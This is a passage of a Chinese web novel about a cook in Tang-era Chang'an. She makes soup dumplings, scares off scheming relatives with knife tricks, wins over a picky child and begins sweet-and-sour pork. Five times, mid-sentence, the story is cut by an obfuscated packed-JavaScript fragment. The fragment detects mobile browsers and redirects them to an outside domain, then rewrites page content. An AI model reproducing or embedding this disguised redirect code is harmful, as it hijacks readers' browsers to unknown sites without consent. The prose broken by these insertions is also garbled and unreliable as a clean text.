她在蒸屉底部刷了层薄油,把包好的小笼包一个个搁进去放好,转身在锅里添水,将两根长竹筷子交叉放进去,形成一个十字形。 确保筷子两端足够稳固,崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584200|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时钰这才将装满小笼包的蒸屉放在交叉的筷子上,盖上锅盖,伸手抓了把干树叶放进灶膛点燃。 火苗在灶膛里欢快跳跃,映照着她此刻专注的面庞。 水在锅中渐渐沸腾,热气袅袅升起,混合着肉香与面香在小小的庖厨里弥漫。 这段时间崔时钰也没闲着,扭身将方才用到的肉馅盆、面粉盆一一洗刷干净,估摸着时间差不多了,转身揭开锅盖。 白雾般的蒸汽散开,露出底下一个个圆圆滚滚的小笼包。 刚出锅的猪肉小笼包外皮暄软,每一个都软润饱满、褶子均匀,内里的肉汁隐隐透出,在面皮上晕开几处褐色痕迹,光是看着便能想象出里头肉馅和汤汁的浓香滋味。 肉香味悠悠传出,阿宁早就按捺不住了,扒着门探进半个脑袋,流着口水叫道:“阿姊,好香啊!” 阿锦的脑袋则出现在她的上方,两姐妹如叠罗汉一般,紧盯着自家阿姊做的这一锅小笼馒头。 崔时钰朝她俩笑笑,稳稳地将蒸屉端下灶台,招呼两个妹妹:“小笼馒头出锅喽!” 阿锦和阿宁应声而动,在食案旁边坐好。 崔时宁舔了舔嘴唇,用竹筷夹起一个,迫不及待将肉馒头咬开一个小口,微烫的汤汁瞬间涌出,鲜香四溢。 有了之前几次喝鱼汤的经验,这次她终于没再被烫到,先将包子里的肉汁喝了个精光。 带着猪肉鲜美和姜葱清香的肉汁鲜香十足,滋味浓郁,丝毫没有腻味的感觉,只觉得咸香可口。 喝完肉汁,阿宁又开始大口大口啃起小笼馒头。肉馅细腻滑嫩,却又能咬到颗粒感十足的肉粒,搭配着暄软又有韧性的面皮,让她忍不住一口接一口。 她年纪太小,形容不出来有多好吃,但就是好好吃、好好吃啊! 她从来没吃过这么好吃的肉馒头! “好好吃,阿姊怎么这么厉害呀!”阿宁边吃边夸,把“好吃”“真好吃”颠来倒去地说。 说话的同时吃肉包子的速度也没减慢,看得崔时钰啧啧称奇,忍不住叫她慢点吃别噎着。 阿锦显然稳重得多,只一个劲儿埋头大吃,偶尔夸赞也不是夸包子,而是夸崔时钰:“阿姊,你辛苦了。” 崔时钰夹了只小笼包放进她的碗里,笑着说:“这是阿姊应该做的。” 虽然她不让妹妹们插手家里的庖厨之事,尽管如此,妹妹们还是会过来帮忙,几乎每次用完的碗都是她们两个洗的。 崔时钰其实很想自己洗碗,毕竟这也算是锻炼身体的一种方式,但妹妹们死活不让,说什么“阿姊做饭,我们刷碗,这样才算公平”。 崔时钰当时就被可爱到了。 好吧,不刷碗就不刷吧! 她笑笑,轻轻咬下一口小笼包。蓬松软乎的面皮带着丝丝缕缕的麦香,和咸香适口的猪肉馅完美结合。 鲜香、暄软、多汁,回味无穷。 就在吃到最后一个小笼包的时候,姐妹三人突然听到外面传来一阵略重的拍门声。 崔时钰以为是邻居王五娘,很自然地走过去开门。 谁知门外站着的竟是多年未见的舅舅和舅母。 8. 奇葩亲戚 在崔时钰的记忆中,最后一次见到舅舅舅母——田二郎与殷氏,已是差不多十年前的事了。 那时田二郎尚未发际,携妻子殷氏前往幽州做生意。担心爹娘留给弟弟的那些家产不够,崔母将自己的大半嫁妆分给了弟弟,做生意成功与否并不要紧,只盼望他与弟媳能平安归来。 谁知后来,田二郎的确是发达了,却再也没有回来同阿姊见面,哪怕崔父崔母相继过世,也只是草草派了个小厮来前来吊唁。 崔时钰不知道他们此番来的目的是什么,只是感叹:……这两个人什么时候胖成这样了? 舅母殷氏穿一身袒胸窄袖的襦裙,领口处白皙且堆满赘肉的前胸敞露出来;头上梳着高耸的发髻,插了支水光油润的玉簪,越发衬得她面庞圆润、双下巴堆叠。 再去瞧舅舅田二郎,身着一件暗红明艳的宽大圆领袍衫,身形臃肿,特别是肚子高高隆起,仿佛怀胎数月,让他整个人瞧上去像一颗发福的胖苹果。 十年前田二郎与殷氏还是瘦瘦高高的两条人,并不长如今这副尊容。虽说本朝人以胖为美,但到这个程度……是不是有点夸张了? 崔时钰觉得自己能一眼认出这两个人着实是个奇迹。 十多年前发生变故时崔时锦只有两三岁,几乎对此无甚记忆,崔时宁更是尚未出生。 小姑娘从小到大没见过胖成这样的人,一时有些害怕,但还是紧紧攥着阿姊的手,站在她的前面。 她要保护阿姊! 与面前二人对视片刻,崔时钰正要开口,就听田二郎忽然嗷了一声,两行宽面条般的眼泪从他堆满肥肉的脸上落了下来。 田二郎此人,说得好听是实心眼直肠子,说不好听就是脑子不好使,虽然人人都这么说他,他却并未觉得有什么坏处:小时候有阿娘,长大有阿姊,成亲之后有娘子……反正从小到大都有人为他摆平难题,没什么可操心的。 当初在幽州之时,是妻子殷氏跑前跑后才将生意做得风生水起,按殷氏的话来说,他除了出了几个臭钱外几乎没起什么作用。 正因如此,田二郎格外听妻子的话,几乎对她唯命是从,殷氏让他往东,他绝不往西。 刚才叫这突如其来的肉香昏了脑子,他把先前在家演习好的唱词全都抛掷脑后了,被殷氏狠狠拧了把大腿上的肉才回过神来,一半是疼一半是演,眼泪一下子就出来了。 谁知话到临头,不知怎么,嘴边的“外甥女你近年可好”突然变成:“外甥女,我是舅舅啊,你可还认得我吗?你……你午食吃的是啥啊?” 田二郎早年家中困顿,没吃过什么好东西,中年暴富后发誓要补偿自己,带着殷氏与儿子田子恒报复性吃喝玩乐,这才养成如今这般不堪入目的体型——他儿子田子恒也同样如此。 田二郎自诩吃遍了长安城内的大小美食,哪知道竟在这间倒闭了的贩鱼铺子里被馋得口水直流。 实属罕见,实属罕见! 听了他问话的崔时钰:“……” 敢情多年未见的舅舅舅母,大老远来就是为了问她中午饭吃了什么? 一旁的殷氏见自家郎君实不顶用,气得直磨牙,又不好当场发作,不着痕迹把田二郎挤到一旁,自个面上挤出两滴眼泪,边用帕子拭泪边对崔时钰说:“外甥女,你近些年可还安好?听闻你前些日子不甚失足落水,我与你舅舅担心极了,便想着过来看看你。” 殷氏也算生得标致,尽管一朝发福,眉眼间依然能瞧出当年的影子,这一哭起来倒真有几分心酸可怜的意味,至少比田二郎看着赏心悦目。 其实殷氏并不清楚崔时钰到底是失足落水还是主动投河,只知道她确实是被人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584201|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河里半死不活地捞了上来。 这时候的河水多冷啊,被淹了一遭定要落下病根,按她家这个条件,能撑得了几时? 虽说前几日她刚从庄子里收完租,大进一笔,尚且看不上夫家那死人姐姐攒下的嫁妆,还有这间破鱼铺子,但是……蚊子腿也是肉啊。 不要白不要。 到底是这么多年不曾来往,殷氏也知道自己这一趟来得有些突兀,但他们与崔家毕竟有血脉相连,崔家大娘已成了病秧子,二娘三娘年岁尚小需人照顾,把家产交到舅舅舅母手中,肯定比交到旁人那里来得更放心些。 只是…… 殷氏借着抹泪的间隙悄悄瞥了一眼崔时钰。 谁能告诉她,这崔家大娘的面色为何如此红润有光泽? 莫非是回光返照? 崔时钰也在瞧她。 无事不登三宝殿,更何况是这种十多年没什么往来的白眼狼亲戚,田二和殷氏这一趟来的目的不是为钱就是为利,闭着眼睛都能猜到。 崔时钰上辈子见过太多奇葩的亲戚关系,此时面对这两个厚脸皮的人,倒也能泰然处之了。 她朝这两个不速之客微微一笑,作出一副恍然大悟状,“我当是谁,原来是舅舅舅母,多年未见,到叫我这个外甥女有些不敢认了,看来‘相由心生’这句话果真不错。坐啊,别客气——哦,我忘了,家里恐怕没有能供舅舅舅母坐下的地方,那舅舅舅母就站着吧。” 听完这番话,殷氏与田二郎双双目瞪口呆。 殷氏惊的是她的嘴皮子。 最后一次见面时,这崔大娘明明是打三闷棍都放不出一个屁来的沉闷性子,后来家中遭遇变故,更应该唯唯诺诺才是……怎得竟如此牙尖嘴利了! 田二郎惊的却是另一件事:他知道方才那阵肉香是从哪儿来的了! 9. 大快人心 一个瞧着大约六七岁、伶俐俏皮的小娘子——想来应该是他从未见过面的三外甥女,正一手紧紧牵着姐姐,另一手攥着个肉馒头。 那肉馒头已经被咬了一角,褐色微粉的肉馅儿露出来,上面还盈着微带油光的汁水,不光馅儿给得足,皮子也比寻常面皮看着更加白和软…… 光是看着便觉得可口! 田二郎馋得口水都要流下来了。 他本就好吃,如今这一□□色生香的肉馒头摆在面前,焉有不馋的道理? 崔时锦不知面前突然冒出来的两个人究竟是何方神圣,只紧紧盯着对方一举一动,冷不防眼神一错,瞧见正出神发愣的田二郎。 那人脸上虽然并未露出太过夸张表情,但眼神直勾勾地盯着阿宁手上的馒头,眼睛几乎一眨不眨,瞧着着实有几分可怕。 崔时锦用胳膊肘轻轻碰了碰妹妹。 崔时宁不解地抬头看去,见二姊对着她手里的肉馒头使眼色,以为她是担心凉了就不好吃了,于是低头三口两口快速把肉包吃进肚里,完事还不合时宜地打了个小小的饱嗝。 阿姊做的小笼馒头真好吃啊! 这番举动让田二郎更加抓心挠肝,完了,这下最后一个肉馒头也没了! 他忍不住道:“小娘子——不不,三外甥女,我是你舅舅呀,舅舅问你,你吃的这肉馒头是怎么做的?” 他打算问得做法,回家后让自家厨子做给他吃,到时便能想吃多少就吃多少! 殷氏掩着帕子,眼神意味不明,倒也没出声反对。 她心中自有一副算盘:问这些家长里短的小事说不定能拉近与几个外甥女的距离,到时候把嫁妆拿回来就能更顺利了——话说回来,第一个闻见肉香味的人还是她呢! 听到田二郎的问话,崔时宁仰头瞧他片刻,横竖在这张脸上找不到与自己的相似之处,摇摇头道:“我没有舅舅。” “那是因为,呃……” 田二郎卡了卡壳,发现对阿宁说“你小时候我还抱过你呢”这样的话实在难以服众,于是换了个目标,扭头对阿锦道:“这是二娘对吧?都长这么大了,你小时候舅舅还抱过你呢!” 其实田二郎早就对这个二外甥女无甚印象,最后一次见面的时候她还是个襁褓里的娃娃,他看着都嫌烦,更别提抱一下了。 而且,老实说,他有些犯怵和这二外甥女说话。 崔时锦的年纪虽不是三姐妹中最大,却有股特别的气质,大姐清丽,小妹娇稚,而她则是英气。因着这份英气,不笑时很有几分生人勿近的意味——现下更是如此。 听了这番话,崔时锦本来想说“别在这儿放屁”,又担心自己的强硬态度会给阿姊惹麻烦,狠狠瞪了田二郎一眼便把头扭到了一边。 自从爹娘相继过世,她们姐妹三人便一直相依为命,哪有亲戚登门关心过问一句。 她们早就没有亲戚了。 虽然没有崔时钰看得清楚透彻,但崔时锦也心里门清,这一对自称“舅舅舅母”的夫妇登上门来准没好事。 崔时钰也不愿意这两人纠缠妹妹,见他们主动和妹妹们搭话便开口道:“舅舅,这是外甥女做的豕肉馒头。” “什么?”田二郎的注意力被成功转移,两条横宽的眉毛拧起来,“豕肉?” 他最瞧不上这种肉了! 倒不是因为豕肉多为平民所食的贱肉,以田二郎的脑子根本联想不到这点,对他来说,好吃就行,管他出身何处?他讨厌豕肉只有一个原因,那就是这玩意臊气得很,不好吃。 有次他在于记酒楼吃了道蒸彘肩屑,不知是肉不新鲜还是什么原因,十分难以下咽,嚼不动不说,还满嘴都是让人作呕的腥臊味。 田二郎已经忘了那道肉菜后来是怎么处理的了,他只想把那野蛮的滋味从自己的美食记忆里永远抹去。 从此,他对豕肉敬而远之。 殷氏同样也瞧不上豕肉。 与自家郎君的态度不同,她瞧不上豕肉,是因为觉得这是只有微贱之人才会吃的肉,像他们这种大富大贵之家,断不会吃豕肉。 但两人不约而同都有一个疑问:既然是豕肉,为何还会这么香? 莫不是外甥女在诓他们,这肉馒头其实是用羊肉做的? 田二郎和殷氏正疑惑着,就听崔时钰道:“舅舅既想知道这肉馒头是怎么做的,外甥女便给舅舅舅母展示一遍。” 说完这句话,崔时钰转身进了庖厨,眨眼的工夫便端了一个小木盆出来,手里还握着柄宽刃菜刀。 看见那柄银光闪闪的菜刀,殷氏心头一跳,不由自主向后退了一步,田二郎却是十分好奇地凑上前去。 不等他们开口,崔时钰便主动介绍:“这便是用来做肉馒头的馅儿了。” 她知道家里三口人每顿饭量是多少,用量掐得极准,是以木盆里的肉馅儿差不多都用完了,只剩零星几个小肉丁,但依然香味十足,不见半点腥膻。 她只是想借拿肉馅的理由去趟庖厨,然后…… 田二郎正感叹着怎么连生肉馅都这么香,刚准备再凑近闻闻,接着就听自家娘子惊呼一声。 他侧头去看,不知怎么,方才那柄在外甥女手中握得好好的菜刀竟上了天,刀光在空中划出一道银蛇般的弧线,而后稳稳落回崔时钰手中,又被她转出一个寒光闪闪的刀花。 田二郎看得呆若木鸡,惊得话都说不出了,殷氏则捏着帕子连连后退,几乎退到大门旁边,哆嗦着嗓子:“外甥女,你、你这是做什么!” “舅舅不是想知道这肉馒头是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584202|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出来的吗?便是这样用刀剁出来的。”崔时钰不紧不慢道,“舅舅与舅母远道而来,这点心愿外甥女还是能满足的。” 这套转刀花是她的压箱底绝活,轻易不外露,此番只是想告诉这两个人,她不是好惹的,别想来找她的茬。 转完刀花,崔时钰又做了个抛接刀的动作。 抛接刀,即将菜刀向上抛起,待落下后接住,技巧性强,难度极大,接刀时需得注意一定要确保刀柄朝内、刀锋朝外,一旦接反就完蛋了。 这套动作崔时钰练了好几年,足能确保万无一失,此刻才敢放心地惊人眼球。 她特意选在离田二郎和殷氏近距离的地方做了这套动作,菜刀在空中旋转一圈,落下,又被她稳稳接住。 刀柄到手的下一秒阿宁便高兴得蹦起来,一边拍手一边叫好:“阿姊好好厉害!阿姊最厉害!” 与阿宁的兴奋不同,殷氏瞧见这一幕,本就已经软了的腿现在更是快站不住了。 她本意是过来讨个便宜,没承想女大十八变,这崔家大娘竟从唯唯诺诺的闷性子变成耍大刀的女罗刹了! 万一待会儿砍到他们怎么办! 殷氏匆匆丢下一句“外甥女你先忙我和你舅舅就不叨扰了”,便扯着田二郎走也不回地离开了。 田二郎虽也有些怕,被自家娘子拉走时仍忍不住琢磨:那豕肉真有这么香?难不成是我之前没吃到好的,误会它了? 在他心里,没吃到肉馒头竟比没要到嫁妆还要不快。 一场风波平息,阿锦心中自然也高兴,只是心中隐隐有个疑问:阿姊是什么时候学会这些的? 崔时钰出门探头看了看,见田二郎与殷氏早就跑没影了,这才松了口气,也没隐瞒,如实告诉了妹妹们对方的身份。 “……他们确实是我们的舅舅和舅母。”她最后做总结道。 崔时宁扬着圆脑袋,还是那句话:“我没有舅舅,也没有舅母。” “我也是。”崔时锦那张英气小脸上满是不忿,“当初我们一家人落难,他们跑得比谁都快,结果现在到想着来占我们便宜,真是……真是太坏了!这样的亲戚,有还不如没有。” 见两个妹妹只是气愤不满,并没有任何伤心情绪,崔时钰放下心来,挨个揉了揉脑袋,温声道:“阿姊只是想告诉你们,这种人根本不值得你们劳心劳力,遇到这种人,远远躲开便是,千万不要被他们吸血。” 一大一小两个小女孩都用力地点了点头。 得到想要的回答,崔时钰满意一笑。 田二郎与殷氏的突然造访只是个小插曲,不会打乱她的生活节奏。她关上门,撸起袖子握着菜刀又回庖厨了。 得了人家的好处不能不还,她打算做锅猪肉小笼包给隔壁王五娘送过去。 10. 挑食少女 王五娘正在庖厨里埋头琢磨暮食该吃些什么。 每到这种时候,她总很是发愁,情愿一日十二个时辰都在铺子里点豆腐。 她将全部心力都倾注在方寸的豆腐锅之间,对其他诸事便显得有些生疏,尤其不通庖厨一道。偏生孙女在饮食方面十分挑剔,对端上来的吃食不是嫌这便是嫌那,故而得了“娇娇”这个小名。 昨日做的波棱菜馎饦显然又没能讨到娇娇的欢心,小姑娘喝几小口汤、挑了几根波棱菜吃就去坊里找其他孩子玩了,连评价都没留下。 王五娘只得含泪吃了两碗,倒不是因为好吃,而是波棱菜价贵,浪费不得啊! 娇娇此类挑食行为还有许多:上次王五娘早早去早市买来的刚出锅的胡饼,外皮烤得金黄酥脆,胡麻粒粒饱满,可娇娇只瞥了一眼便小手一挥说“这饼干巴巴的,看着就难嚼得很”;上上次王五娘做了只煮鸡,鲜嫩极了,却被娇娇嫌弃味道寡淡,啃了两只鸡翅膀便离桌了;至于那些煎豆腐、豆腐羹、豆腐汤、菜豆腐粥之类的豆腐菜肴,娇娇更是吃腻到不能再腻。 王五娘托着下巴,看着案板上还算新鲜的葵菜、蔓菁、两根萝卜和半颗白菘,想,反正做什么娇娇都不爱吃,晚上便吃豆腐焖白菘吧,省事! 正要卷起袖子开始洗菜,突然听到外头传来一阵柔和的敲门声。 崔时钰温声道:“婶娘,是我。” 用过午食后,崔时钰挨着妹妹们在榻上眯了片刻,醒来后又去买了几条猪肉。 这次她没去先前那个态度一般的小肉摊,而是去了西市的一个大肉铺,高记肉行;买的猪肉也不只是单一的猪前腿,还多添了一条猪五花。 用猪身上不同位置的肉做出来的小笼包味道各有不同,猪前腿肉做出来的小笼包口感细腻、鲜嫩多汁,五花肉小笼包则更为肉香浓郁,两种滋味各有千秋。 最好的方法便是将猪前腿肉和五花肉混合,这样做出来的肉馅儿既鲜嫩多汁,又能增加肉香。 和她先前去的只有猪前腿一种猪肉的小肉摊不同,高记肉行里,各类肉品琳琅满目。 最显眼的依然当属被码放在案上的羊肉,崔时钰只简单扫了一眼,便看到羊腿、羊排、羊肚、羊肠等多种品类,洁白的羊脂衬着粉嫩的羊肉,闻起来有股独特的膻香。 除了羊肉,排名第二的是各种禽类,只见铁钩上按照个头大小挂着几只已经处理好的鸡鸭鹅,羽毛拔得干干净净,鸡皮鸭皮紧紧绷着,光是看着便觉得肉质结实饱满。 再次便是悬挂在木架上的猪肉了。 虽说不是铺子里的常青树,但店主高老汉对待猪肉同样精心,将每一块猪肉都切得整整齐齐,品种也不少,有色泽红润的猪里脊,纹理清晰的猪胸口,还有雪白得如同牛乳般的猪板油,想来用它炼罐子猪油定会香气四溢。 除去这些常见肉类,崔时钰还瞧见几只剥好皮的兔子,和一些诸如果子狸、竹鼠之类的野味。 ——对她这种现代人来说,这玩意可不兴吃啊。 崔时钰瞧了一眼便默默收回目光,矜持地买了两条猪前腿和一条猪五花,一共花了二十九文。 和名不见经传的小摊相比,肉行里的肉价格要稍贵些。就拿猪前腿来说,崔时钰当初在小摊上买的是八文一斤,在肉行要卖到十文一斤,贵出两文。 虽然价贵,但肉行里的肉明显品质更好更新鲜,购买起来也更加容易,还不必担心铺子跑路,而且若是大批量进货,说不定还能把价格打下来…… 是的,她已经思考起以后开饭馆的大小事宜了。 值得一提的是,高记肉行店主高老汉为人很是和善,见崔时钰在各类肉前徘徊许久,最后却只买了价格便宜的猪肉,也没有表现出任何不满情绪,还笑吟吟问她是否提得动、需不需叫人送到家里去。 崔时钰很乐意与这样的人打交道。 她微笑着说能提动,然后默默把这位高老汉列入未来合作伙伴的备选名单之中。 回到家,和中午一样,崔时钰蒸了两屉猪肉小笼包,让妹妹们先吃着,自己端着剩下那屉便趁热给王五娘送来了。 白吃人家那么多豆腐,给人家送点包子算得了什么? 正想着,门开了。 “阿钰来了,快进来坐!”王五娘开门,看到崔时钰抱着的一屉白白胖胖的小馒头,惊得睁大了眼,“这是……” 崔时钰笑着开口:“中午做了些豕肉小笼馒头,我和阿锦阿宁吃着还不错,想着婶娘大约也会喜欢,便多做了一屉出来,婶娘快拿回屋和娇娇趁热吃吧。” 王五娘一听便乐开了花,一是为崔时钰记挂着自己的这份心意感到心暖,二是……不用费心琢磨暮食吃什么了! 救星,这是天大的救星! 虽说这豕肉馅儿的馒头未必能合娇娇挑剔的胃口,但好歹能糊弄过去一顿。 应付一顿是一顿! 王五娘千恩万谢地谢过崔时钰,对待珍宝一般把还冒着热气的小笼包端进屋内,喊孙女娇娇过来吃饭。 娇娇不知方才去哪儿玩了,玩得两只小手都脏兮兮的,王五娘打了井水给她仔仔细细洗干净手,这才牵着宝贝孙女进屋,边走边念叨:“隔壁崔阿姊送了一屉肉馒头过来,咱们今天晚上就吃这个。” 果然,娇娇听完便歪头问:“肉馒头?是什么馅儿的呀?” “呃……”王五娘舌头打了打结,知道说出豕肉来这孩子便多半不会吃了,只得糊弄过去:“崔阿姊方才说来着,但阿婆忘了,总之味道不会差的。” 但其实她自己心里也没底。 豕肉做的,能有多好吃? 娇娇虽没再说什么,但很明显一副兴致缺缺的模样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584203|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不情不愿地坐上了自己的小胡凳。 面前是一屉圆圆滚滚的小笼馒头,冒着微微的热气,面皮细腻暄软,里头褐色的汤汁微微透出来,晕染了一小块面皮。 模样倒还不错。 娇娇又凑近闻了闻味道,一股她从没闻过的香味差点将她的鼻子淹没——闻起来也不错。 至此,面前这屉肉馒头还算让娇娇满意,她这才用筷子夹起一个,放进装着食醋的小碟里滚了一遭,送入自己口中。 刚一入口咀嚼,娇娇便忍不住睁大眼睛。 好香啊! 她顾不上说话,嘴里的肉馅还没咽下去便迫不及待拿筷子夹下一只,直吃得两边腮帮子鼓鼓囊囊,活像只正在进食的仓鼠。 王五娘哪里见过娇娇的这副阵仗?不必孙女开口说话,便知她一定是对这锅小笼馒头喜爱得紧。 不过……真有这么好吃? 被孙女的吃相感染,王五娘也执起竹筷夹了只肉馒头,略点了点香醋一口咬下。 下一刻,她发出了和娇娇别无二致的感叹:好香啊! 微烫的汤汁裹着醋的酸香在口中迸发,肉馅的鲜美被醋味衬托得更加浓郁,鲜嫩多汁的肉馅、柔韧软乎的面皮,再加上醋的提味,让人忍不住一个接一个地吃下去。 真好吃! 一时间,王五娘和娇娇两个人谁都没有开口说话,屋子里只有沉浸式吃小笼包的声音。 没过多久,二十来个小笼包便都进了祖孙二人的肚子。 王五娘和娇娇对视一眼,彼此都在对方脸上看到了意犹未尽的神情。 * 这顿小笼馒头吃完以后,娇娇的挑食毛病仿佛不复存在,每天闹着要吃肉馒头。 王五娘被她缠得没法,又脸皮薄,不好意思再去向崔时钰讨要,便自己去集市上买了豕肉来做。 只是肉馒头而已,她应该也能做得吧? 事实证明,她不能。做出来的肉馒头不是肉馅太硬就是太油,味道也重得邪乎,有次她竟在馒头里吃出了自家茅厕的味道…… 王五娘觉得不能再这样下去了,浪费银钱不说,还浪费粮食。造孽! 这日她早早去了集市,拎着买回来的豕肉敲响了崔家大门。 “阿钰,婶娘就有话直说了。”王五娘有些不好意思地说,“那天你做的肉馒头……能不能再给我和娇娇做上一屉?真是好吃惨了!” “你别担心,我买了好些豕肉,刨去我和娇娇的,剩下的也够你们三姐妹也吃一顿的了,就当是我麻烦你的辛苦费,你可一定要收下啊!” “婶娘,您不必和我如此客气,小笼蒸包而已,做起来不算个事,只是……” 她看向王五娘递来的几条猪肉,“这里脊肉做出来的小笼馒头,滋味恐怕没那么好。这样,我给娇娇做道糖醋里脊如何?” 11. 糖醋里脊 王五娘眼神中盈满了疑惑,“糖、糖醋里脊?这是个什么菜?” 崔时钰笑着解释:“这糖醋里脊便是用里脊肉条制成的一道菜,将切好的肉条放入锅中炸至金黄,再裹上糖醋汁子,吃起来外酥里嫩、酸甜可口,保管小孩子喜欢。” 王五娘舔了舔嘴唇。 她自诩不是一个十分爱吃的人,若非如此也不会在厨艺方面多年无所进展,然而此时此刻,听完崔时钰介绍的这道菜也忍不住被勾起了馋虫。 特别是那句“小孩子保管喜欢”,更是让她心花怒放,下一刻便将猪里脊肉放心托付给崔时钰,眉开眼笑道:“好,好,阿钰,那我便将这肉交给你了,剩下的你和妹妹们吃,不用还!” 虽说不是娇娇钦点的小笼馒头,但想来味道应该不会差。 ——连她自个都没意识到,她已然对崔时钰的厨艺相当信任了。 因两家相距不远,崔时钰便让王五娘先回去等着,等她做好再端送过去。 王五娘千恩万谢地离开了。 送走王五娘,崔时钰动作麻利地处理起食材。 她看了看对方送来的猪里脊,色泽红润、纹理清晰、手感鲜嫩,用手轻轻按压就能快速回弹——这是肌肉纤维细小、水分含量充足才能达到的效果。 是极好的里脊肉。 对于厨子来说,没有什么能比优质食材更能激发烹饪热情了。 崔时钰干劲满满,将几条里脊肉条清洗干净,按照先前的“猪肉去腥三部曲”去除异味,接着将肉放在案板,执起菜刀。 随着均匀有力的剁肉声响起,几大块里脊肉很快被切成了粗细均匀的长条。若是挑出几根用刻花尺仔细测量,便会发现每一根肉条的长短粗细几乎都相差无几,仿佛经过精心丈量一般。 崔时钰另取来一只瓷碗,将切好的里脊条放入其中,又放盐和酱油,再添几片用来去腥增香的葱姜,用竹筷轻轻搅拌,待里脊条充分吸收调料的味道后,最后略点几滴菜籽油锁住水分。 其实腌渍肉最好还应放些胡椒粉,但这时候的胡椒价格实在贵得令人发指。 本朝的胡椒已经不能用“调味料”来简单概括了,更像一种极为珍贵的商品,价值和地位远超普通香料,可与黄金相媲美,一两黄金只能换得五十斤胡椒。 前几日崔时钰和王五娘闲聊八卦,偶然提到了胡椒,王五娘便打开话匣子,说几年前朝中某个大官因贪污被抄家,从家中搜刮出的囤积的胡椒竟多达八百多石……这足以说明胡椒的价值了。 但胡椒依然不能没有。 崔时钰思来想去,决定以后暂时用花椒来代替。尽管这时候的花椒也不算便宜,但至少比胡椒强多了不是? 趁着肉条腌渍入味这段时间,她用鸡蛋、面粉加水快速调了个面糊。 调好的面糊稠度很像酸奶,将筷子沉入再提起,会有黏糊糊的面浆从筷子上缓慢滴落。崔时钰将里脊肉条挨个放进面糊,用筷子略略翻滚,让每一条里脊都穿上面衣。 等到每根里脊肉条都裹浆完毕,锅里的油也烧热得差不多了。 崔时钰从柜中翻出一双长筷,夹起一根根里脊肉条投进锅中,下一秒便听到油花四溅的滋滋响声。 她熟练地用长筷翻动着油锅中的里脊条,确保每一面都受热均匀、炸透炸酥。 没过多久,庖厨里便弥漫起炸物特有的油脂香气,透过灶台前的窄窗悠悠飘散而出,引得院子里的阿锦和阿宁纷纷吞咽口水。 大火烹油,肉条熟得极快,很快就在油锅中变成了金黄酥脆的模样,但崔时钰没有就此打住,将炸好的里脊条一一捞出,略沥干油后又进行了复炸,经两次炸制的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584204|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉条会更外焦里嫩,口味更佳。 炸完里脊肉条,她便开始做糖醋汁,即糖醋里脊的灵魂。 做糖醋汁最重要的技巧便是注意火候,崔时钰从灶膛里抽出几根木柴,让中火转为小火,又将锅内的余油倒出,只留少许底油,放白糖、米醋和少许盐,用木铲不断搅拌。 若是再放些番茄酱进去,糖醋汁子的味道和颜色都会更好,可惜这时候番茄尚未传入大唐,崔时钰只能在心里头回味西红柿酸甜多汁的滋味了。 不过按她这样做出来的糖醋汁子也是极好的。 经过不断搅拌过后,白糖粒已完全溶解,冒起透明微黄的甜蜜糖泡,诱人的酸甜气息随着轻微的咕嘟声散发出来。 崔时钰这时将提前调好的水生粉缓慢倒入锅中,边倒边搅拌。 